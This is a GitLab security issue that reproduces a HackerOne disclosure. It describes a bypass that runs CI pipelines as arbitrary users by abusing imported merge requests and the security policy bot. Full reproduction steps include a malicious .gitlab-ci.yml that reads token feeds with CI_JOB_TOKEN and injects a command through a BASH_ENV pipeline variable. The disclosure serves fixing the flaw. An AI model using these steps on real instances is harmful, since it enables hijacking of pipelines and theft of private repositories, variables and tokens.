:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.** **[HackerOne report #2578672](https://hackerone.com/reports/2578672)** by `yvvdwf` on 2024-06-26: [Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce) ## Report Hello, This report is an improved version of [2575051 ](https://hackerone.com/reports/2575051) by introducing a bypass of [a critical security fix](https://about.gitlab.com/releases/2024/06/26/patch-release-gitlab-17-1-1-released/#run-pipelines-as-any-user) Gitlab just released. My original report 2575051 was marked as duplicate of [2536320](https://hackerone.com/reports/2536320). Although I have no access to 2536320 but I believe that it was addressed by the critical release above. That's why I resubmit this report! The following [code](https://gitlab.com/gitlab-org/gitlab/-/blob/62e54f5763d457bad0e84f4d3eb73b3aa6b3b204/app/services/merge_requests/merge_service.rb#L103-122) is vulnerable: ```ruby ### 1. app/services/merge_requests/merge_service.rb#L103-122 def after_merge ... if delete_source_branch? MergeRequests::DeleteSourceBranchWorker.perform_async([@]merge_request.id, [@]merge_request.source_branch_sha, branch_deletion_user.id) end ... end def branch_deletion_user [@]merge_request.force_remove_source_branch? ? [@]merge_request.author : current_user end ### 2. app/workers/merge_requests/delete_source_branch_worker.rb class MergeRequests::DeleteSourceBranchWorker ... def perform(merge_request_id, source_branch_sha, user_id) ... ::MergeRequests::RetargetChainService.new(project: merge_request.source_project, current_user: user) .execute(merge_request) ... ``` - When a merge request is merged and it was [marked](https://docs.gitlab.com/ee/user/project/merge_requests/#delete-the-source-branch-on-merge) as `Delete source branch when merge request accepted`, then the source branch will be deleted by the merge request author, not by the one who merged the request. - Before deleting the source branch, Gitlab tries to [re-target](https://gitlab.com/gitlab-org/gitlab/blob/9877ccbeabca47d639c581ef1ebc2c16147a5a7b/app/services/merge_requests/retarget_chain_service.rb#L20) any other merge requests that use the deleted branch as its target. - Although these re-targeting actions have [been corrected](https://gitlab.com/gitlab-org/gitlab/-/commit/0a90eb06107fce3a6c2e15dcead5ec9fc0302967) to avoid trigger new pipelines, the pipelines still can be triggered by using [quick action](https://docs.gitlab.com/ee/user/project/quick_actions.html) in the descriptions of these merge requests, such as, `/rebase` - These pipelines are usually omitted, but if their [`only:refs`](https://docs.gitlab.com/ee/ci/yaml/#onlyrefs--exceptrefs) is `merge_requests` then they will be executed - Gitlab keeps owners of a merge request if it is imported via [direct transfer](https://docs.gitlab.com/ee/user/group/import/#memberships), such as, via an external source like GitHub, Bitbucket, or another instance of GitLab, by mapping their emails. Consequently, an attacker can execute pipeline jobs as arbitrary user. Gitlab recently limits the scope of `CI_JOB_TOKEN` which can not be used to access to other projects [unless](https://gitlab.com/gitlab-org/gitlab/blob/e8337d749571f69a04a59bba49b3959acd7cb736/app/policies/project_policy.rb#L736-751) users explicitly configures their projects to allow it to access to. However `gitlab-security-policy-bot` (again) has a [specific permission](https://gitlab.com/gitlab-org/gitlab/blob/f1ffab963db9fb319650a7070b1d24f6601d3942/ee/app/policies/ee/project_policy.rb#L817-821): ```ruby rule { security_policy_bot }.policy do enable :create_pipeline enable :create_bot_pipeline enable :build_download_code end ``` This means that we can abuse this bot to access to its original project and execute CI/CD pipeline on that project. In brief: - if a project + is public, regardless its repository is set as public - `Everyone With Access` or private - `Only Project Members` + *and* has a `security-policy-bot` member - then attackers can + access to its repository (if it is private) and its CI variables + trigger its CI/CD pipeline, thus, control its environments/deployments, its packages, etc Furthermore, Gitlab also disabled GraphQL authentication via `CI_JOB_TOKEN` in this [security release](https://gitlab.com/gitlab-org/gitlab/-/commit/b1d1a51dfd983646ad3fbf4c22e55cf323dcb9e5), but this token can be still accessible via [several controllers](https://gitlab.com/search?group_id=9970&project_id=278964&repository_ref=v17.1.1-ee&scope=blobs&search=authenticate_sessionless_user) to list private projects/groups/issues/merge-request/... or even [personal feed/incoming-email tokens](https://gitlab.com/gitlab-org/gitlab/-/blob/v17.1.1-ee/app/controllers/user_settings/personal_access_tokens_controller.rb#L11) . The latter allows to create a new issue. ### Reproduce As Gitlab.com currently disables the direct transfer feature, the following steps are to run in Gitlab self-management instances. To reproduce, we need 2 Gitlab instances: - The first Gitlab instance is the _main_ instance which contains the victim project and is accessible via `http://gl.lo` + please ensure it has `Ultimate` [license](https://about.gitlab.com/pricing/ultimate/) + please ensure it has at least one [Gitlab runner](https://docs.gitlab.com/ee/ci/runners/runners_scope.html#instance-runners) - The second Gitlab instance is to create a dummy group which will be imported to the main one. This instance is fully controlled by the attacker (who is a normal user in the first instance). This instance should be in a server with a public IP though that the _main_ Gitlab instance above can access to. #### As victim, go to http://gl.lo, then: - create a public repository, e.g., `victim/p` - add `.gitlab-ci.yml` file within the following content: ```yml test: script: - echo Hello world ``` - go to `Settings / General / Visibility, project features, permissions`: + `Project visibility`: `Public` + `Repository` : `Only Project Members` + click `Save changes` button - go to `Secure / Policies` and set up a new policy for it. - go to `Manage / Members`, you should see a new member `Gitlab Security Policy Bot`. #### As attacker ##### Step 0. Recon This step is done in the first Gitlab instance http://gl.lo - login as attacker, - go to `victim/p`, + note the project ID, e.g., `22222` + view its member `Gitlab Security Policy Bot`, note its username and ID, e.g., `BOT_USERNAME`, `BOT_ID`, we obtain its email in the following [form](https://gitlab.com/gitlab-org/gitlab/blob/eb8db971663d86a0cf3db9b6ae382e843c7c96ca/lib/gitlab/private_commit_email.rb#L30) `$BOT_ID-$BOT_USERNAME@users.noreply.gl.lo` (please replace `BOT_USERNAME` and `gl.lo` by suitable values), , e.g., `18-gitlab_security_policy_project_72_bot_e15f68e4886390cc996769f9b0c935ca@users.noreply.gl.lo` ##### Step 1. Prepare This step is done in the second Gitlab instance which is fully controlled by the attacker - login this instance as admin, - go to `Admin Area`: + go to `Settings / General / Import and export settings`, enable `Allow migrating GitLab groups and projects by direct transfer`, then click `Save changes` + go to `Overview / Users`, then change Administrator's email to the bot's email - go to `Edit Profile` to set this email as `Public email` - go to `Access Tokens`, then create a new personal access `YOUR_GITLAB_API_TOKEN` token with `api` scope - create a new group `group-x`, then add a new blank project, `test`, within a README: + modify README.md, commit it to a new branch `a`, then create a merge request from `a` to `main` (please make sure ` Delete source branch when merge request is accepted.` is checked) + open the branch `a`, add a `.gitlab-ci.yml` file within the content below, then commit it to a new branch `b`, then create a merge request from `b` to `a` (_Note_: please replace `22222` by the ID of victim's project we created above): ```yaml hi: image: ruby:3.1 only: refs: - merge_requests script: - echo "This script is created by attacker, run by $GITLAB_USER_LOGIN" - curl -u "gitlab-ci-token:$CI_JOB_TOKEN" "$CI_SERVER_URL/-/user_settings/personal_access_tokens.ics" - curl -X POST "$CI_API_V4_URL/projects/22222/trigger/pipeline?token=$CI_JOB_TOKEN&ref=main&&variables%5BBASH_ENV%5D=%24%28echo%20%3D%3DHello-from-Attacker%20%3E%20%2Fdev%2Fstderr%29" ``` + Upon modified `Target Branch` value to `b`, you will see a checkbox `Start a new merge request with these changes`, let it be checked + After clicking on the button `Commit changes`, you are redirected to a merge request page: + *IMPORTANT* (this step is not presented in the video demo): enter `/shrug /rebase` as the description of merge request + Click `Create merge request` button to create a merge request from branch `b` to `a`. ##### Step 2. Attack This step is done in the first Gitlab instance http://gl.lo - click ` + / New group / Import group `, then fill the form, then click `Connect instance` + `GitLab source instance base URL` is the url of the Gitlab instance we created in Step 1 + `Personal access token` is the token `YOUR_GITLAB_API_TOKEN` we created in Step 1 - import group `group-x` - after importing successfully, you should see `group-x/test` project which has 2 merge requests created by `BOT_USERNAME` - open the merge request from `a` to `main`, then click `Merge` button. - open the list of pipeline jobs, you should see a new job that was triggered by the `BOT_USERNAME` but using the `.gitlab-ci.yml` file we created previously in the branch `b`. - Open the victim project, you should see a job which was triggered also by `BOT_USERNAME` and its execution is controlled by attacker via `BASH_ENV` variable. ### Impact This vulnerability allow an attacker to execute pipelines as arbitrary user. - By using `CI_JOB_TOKEN`, attackers can access to private information such as list of groups/projects/issues/merge-requests or even obtain rss/incoming-email tokens of victim - By abusing `Gitlab Security Policy Bot`, attackers can + access to private repositories and CI/CD variables (`C:H`) + trigger CI/CD pipelines, thus control deployments/environments/packages/... (`I:H`, `S:C`) Best regards, yvvdwf #### Impact This vulnerability allow an attacker to execute pipelines as arbitrary user. - By using `CI_JOB_TOKEN`, attackers can access to private information such as list of groups/projects/issues/merge-requests or even obtain rss/incoming-email tokens of victim - By abusing `Gitlab Security Policy Bot`, attackers can + access to private repositories and CI/CD variables (`C:H`) + trigger CI/CD pipelines, thus control deployments/environments/packages/... (`I:H`, `S:C`) ## Attachments **Warning:** Attachments received through HackerOne, please exercise caution! * [video-demo.mp4](https://h1.sec.gitlab.net/a/2881627e-be21-4df0-97fb-22ad85bfeaf6/video-demo.mp4) ## How To Reproduce Please add [reproducibility information] to this section: 1. 1. 1. [reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues